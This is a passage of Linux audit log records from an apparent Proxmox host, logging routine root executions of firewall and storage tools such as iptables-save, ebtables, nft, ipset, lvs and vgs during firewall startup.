msg=audit(1781966175.689:68772): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435799,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.799:65605): proctitle=\"ebtables-restore\""} {"@timestamp":1781964695447,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.447:62187): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae1370 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59639 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175689,"@rawstring":"node=pve type=PATH msg=audit(1781966175.689:68771): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435798,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.798:65604): proctitle=\"ebtables-restore\""} {"@timestamp":1781964695441,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.441:62186): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc135de0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59638 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175689,"@rawstring":"node=pve type=PATH msg=audit(1781966175.689:68770): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435791,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.791:65603): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964695435,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.435:62185): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1301d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59637 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175297,"@rawstring":"node=pve type=PATH msg=audit(1781966175.297:68769): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435783,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.783:65602): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964695322,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.322:62184): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59636 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175297,"@rawstring":"node=pve type=PATH msg=audit(1781966175.297:68769): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435777,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.777:65601): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964695314,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.314:62181): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59635 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175294,"@rawstring":"node=pve type=PATH msg=audit(1781966175.294:68768): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435768,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.768:65600): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964694881,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964694.881:62178): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73db6c0 a1=64f8d73dcff0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59632 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175294,"@rawstring":"node=pve type=PATH msg=audit(1781966175.294:68768): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435757,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.757:65599): proctitle=697073657400726573746F7265"} {"@timestamp":1781964694849,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964694.849:62177): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1ecbc10 a1=64f8d73bfa00 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59631 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175293,"@rawstring":"node=pve type=PATH msg=audit(1781966175.293:68767): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435748,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.748:65598): proctitle=\"ip6tables-save\""} {"@timestamp":1781964690309,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964690.309:62176): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59630 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175293,"@rawstring":"node=pve type=PATH msg=audit(1781966175.293:68767): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435737,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.737:65597): proctitle=\"iptables-save\""} {"@timestamp":1781964690302,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964690.302:62173): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59629 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175293,"@rawstring":"node=pve type=PATH msg=audit(1781966175.293:68766): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435733,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.733:65596): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964685423,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.423:62170): arch=c000003e syscall=59 success=yes exit=0 a0=5b13d93f1b60 a1=5b13d93fde40 a2=5b13d93cb680 a3=5 items=2 ppid=59622 pid=59628 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175289,"@rawstring":"node=pve type=PATH msg=audit(1781966175.289:68765): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435729,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.729:65595): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964685420,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.420:62169): arch=c000003e syscall=59 success=yes exit=0 a0=5b13cb155ac8 a1=7ffe57ce7020 a2=5b13d93cb680 a3=5b13cb13924e items=2 ppid=59622 pid=59624 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175289,"@rawstring":"node=pve type=PATH msg=audit(1781966175.289:68765): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435728,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.728:65594): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964685418,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.418:62168): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe57ce6fe0 a1=5b13d93ed200 a2=5b13d93cb680 a3=5 items=2 ppid=59622 pid=59623 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175289,"@rawstring":"node=pve type=PATH msg=audit(1781966175.289:68765): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435727,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.727:65593): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964685414,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.414:62166): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59622 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175281,"@rawstring":"node=pve type=PATH msg=audit(1781966175.281:68764): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435722,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.722:65592): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964685408,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.408:62165): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59621 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175281,"@rawstring":"node=pve type=PATH msg=audit(1781966175.281:68764): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435713,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.713:65591): proctitle=\"ip6tables-save\""} {"@timestamp":1781964685401,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.401:62164): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59620 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175272,"@rawstring":"node=pve type=PATH msg=audit(1781966175.272:68763): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435703,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.703:65590): proctitle=\"iptables-save\""} {"@timestamp":1781964685395,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.395:62163): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59619 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175272,"@rawstring":"node=pve type=PATH msg=audit(1781966175.272:68763): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435699,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.699:65589): proctitle=69707365740073617665"} {"@timestamp":1781964685388,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.388:62162): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59618 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175265,"@rawstring":"node=pve type=PATH msg=audit(1781966175.265:68762): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435689,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.689:65588): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964685386,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.386:62161): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=58ed1c904740 items=0 ppid=1156 pid=59617 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966175265,"@rawstring":"node=pve type=PATH msg=audit(1781966175.265:68762): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435679,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.679:65587): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964685383,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.383:62160): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f4510 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59617 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175257,"@rawstring":"node=pve type=PATH msg=audit(1781966175.257:68761): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965434302,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965434.302:65586): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964685378,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.378:62159): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1396f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59616 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175257,"@rawstring":"node=pve type=PATH msg=audit(1781966175.257:68761): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965434274,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965434.274:65585): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964685373,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.373:62158): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc146990 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59615 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175250,"@rawstring":"node=pve type=PATH msg=audit(1781966175.250:68759): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965432981,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965432.981:65584): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964685367,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.367:62157): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13da50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59614 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175250,"@rawstring":"node=pve type=PATH msg=audit(1781966175.250:68759): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965432981,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965432.981:65583): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964685362,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.362:62156): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146990 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59613 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175245,"@rawstring":"node=pve type=PATH msg=audit(1781966175.245:68758): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965432981,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965432.981:65582): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964685357,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.357:62155): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b4af70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59612 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175245,"@rawstring":"node=pve type=PATH msg=audit(1781966175.245:68758): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965432976,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965432.976:65581): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964685350,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.350:62154): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59611 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175237,"@rawstring":"node=pve type=PATH msg=audit(1781966175.237:68757): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965432976,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965432.976:65580): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964685344,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.344:62153): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59610 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175237,"@rawstring":"node=pve type=PATH msg=audit(1781966175.237:68757): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965432976,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965432.976:65579): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964685340,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.340:62152): arch=c000003e syscall=59 success=yes exit=0 a0=64e5c73e3d30 a1=64e5c73eff40 a2=64e5c73bd680 a3=5 items=2 ppid=59603 pid=59609 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175231,"@rawstring":"node=pve type=PATH msg=audit(1781966175.231:68756): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965427969,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965427.969:65578): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964685337,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.337:62151): arch=c000003e syscall=59 success=yes exit=0 a0=64e5b00ddac8 a1=7ffed2c27ec0 a2=64e5c73bd680 a3=64e5b00c124e items=2 ppid=59603 pid=59605 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175231,"@rawstring":"node=pve type=PATH msg=audit(1781966175.231:68756): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965427969,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965427.969:65577): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964685336,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.336:62150): arch=c000003e syscall=59 success=yes exit=0 a0=7ffed2c27e80 a1=64e5c73df3d0 a2=64e5c73bd680 a3=5 items=2 ppid=59603 pid=59604 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175225,"@rawstring":"node=pve type=PATH msg=audit(1781966175.225:68755): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965427969,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965427.969:65576): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964685331,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.331:62148): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59603 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175225,"@rawstring":"node=pve type=PATH msg=audit(1781966175.225:68755): item=0 name=\"/sbin/iptables-restore\" 